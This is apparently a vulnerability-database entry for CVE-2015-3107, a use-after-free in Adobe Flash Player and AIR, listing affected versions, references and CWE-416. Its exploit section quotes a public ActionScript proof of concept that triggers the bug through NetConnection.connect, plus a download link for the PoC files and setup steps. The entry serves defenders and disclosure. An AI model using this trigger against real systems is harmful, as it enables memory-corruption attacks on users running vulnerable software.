CVE-2015-3107
Description
Use-after-free vulnerability in Adobe Flash Player before 13.0.0.292 and 14.x through 18.x before 18.0.0.160 on Windows and OS X and before 11.2.202.466 on Linux, Adobe AIR before 18.0.0.144 on Windows and before 18.0.0.143 on OS X and Android, Adobe AIR SDK before 18.0.0.144 on Windows and before 18.0.0.143 on OS X, and Adobe AIR SDK & Compiler before 18.0.0.144 on Windows and before 18.0.0.143 on OS X allows attackers to execute arbitrary code via unspecified vectors, a different vulnerability than CVE-2015-3103 and CVE-2015-3106.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or โ if you've already worked around this in production โ publish your fix to the community-verified tier.
โ Propose a mitigation on Community โ Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here withsource_tier=community-verified.
Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
Adobe Flash - NetConnection.connect Use-After-Free
Source: https://code.google.com/p/google-security-research/issues/detail?id=352&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id
If the fpadInfo property of a NetConnection object is a SharedObject, a use-after-free occurs when the property is deleted. A proof-of-concept is as follows:
var s = SharedObject.getLocal("test");
ASSetPropFlags(s, null, 0, 0xff);
ASSetPropFlags(s.data, null, 0, 0xff);
var q = {myprop :"natalie", myprop2 : "test"};
s.data.fpadInfo = q;
s.flush();
var n = new NetConnection();
ASnative(2100, 200)(s.data);
n.connect.call(s.data, "");
trace(s.data.fpadInfo);
s = 1;
//GC happens here
setInterval(f, 1000);
function f(){
ASnative(252, 1).call(q); //Array push
delete q.myprop;
}
A fla, an AS file and two swfs are attached. shareddelete.fla compiles to shareddelete.swf and contains the code that causes the use-after-free. loadswf.as compiles to loadswf.swf, and sets up the heap to cause a crash. To make the issue occur, put loadswf.swf and shareddelete.swf in the same folder on a webserver (the PoCs don't always work locally due to flash network sandboxing), and load loadswf.swf. This PoC only works on 64-bit systems, but the issue would work on a 32-bit system with proper heap set-up.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37850.zip
OS impact
Linux kernel Fixed 1 release
| Version | Status | Fixed in |
|---|---|---|
| - | Not affected | โ |
macOS Fixed 1 release
| Version | Status | Fixed in |
|---|---|---|
| - | Not affected | โ |
Application impact
| Vendor | Product | Versions | Fixed |
|---|---|---|---|
| adobe | air | {"endIncluding":"17.0.0.144"} | |
| adobe | flash_player | {"endIncluding":"13.0.0.289"} | |
| adobe | flash_player | 14.0.0.125 | |
| adobe | flash_player | 14.0.0.145 | |
| adobe | flash_player | 14.0.0.176 | |
| adobe | flash_player | 14.0.0.179 | |
| adobe | flash_player | 15.0.0.152 | |
| adobe | flash_player | 15.0.0.167 | |
| adobe | flash_player | 15.0.0.189 | |
| adobe | flash_player | 15.0.0.223 | |
| adobe | flash_player | 15.0.0.239 | |
| adobe | flash_player | 15.0.0.246 | |
| adobe | flash_player | 16.0.0.235 | |
| adobe | flash_player | 16.0.0.257 | |
| adobe | flash_player | 16.0.0.287 | |
| adobe | flash_player | 16.0.0.296 | |
| adobe | flash_player | 17.0.0.134 | |
| adobe | flash_player | 17.0.0.169 | |
| adobe | flash_player | 17.0.0.188 | |
| adobe | air_sdk | {"endIncluding":"17.0.0.172"} | |
| adobe | air_sdk_\&_compiler | {"endIncluding":"17.0.0.172"} | |
References
- http://lists.opensuse.org/opensuse-security-announce/2015-06/msg00005.html
- http://lists.opensuse.org/opensuse-security-announce/2015-06/msg00009.html
- http://lists.opensuse.org/opensuse-security-announce/2015-06/msg00011.html
- http://lists.opensuse.org/opensuse-security-announce/2015-10/msg00018.html
- http://rhn.redhat.com/errata/RHSA-2015-1086.html
- http://www.securityfocus.com/bid/75087
- http://www.securitytracker.com/id/1032519
- https://helpx.adobe.com/security/products/flash-player/apsb15-11.html
- https://security.gentoo.org/glsa/201506-01
- https://security.gentoo.org/glsa/201508-01
- https://www.exploit-db.com/exploits/37850/
- http://lists.opensuse.org/opensuse-security-announce/2015-06/msg00005.html
- http://lists.opensuse.org/opensuse-security-announce/2015-06/msg00009.html
- http://lists.opensuse.org/opensuse-security-announce/2015-06/msg00011.html
- http://lists.opensuse.org/opensuse-security-announce/2015-10/msg00018.html
- http://rhn.redhat.com/errata/RHSA-2015-1086.html
- http://www.securityfocus.com/bid/75087
- http://www.securitytracker.com/id/1032519
- https://helpx.adobe.com/security/products/flash-player/apsb15-11.html
- https://security.gentoo.org/glsa/201506-01
- https://security.gentoo.org/glsa/201508-01
- https://www.exploit-db.com/exploits/37850/
CWEs
CWE-416
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.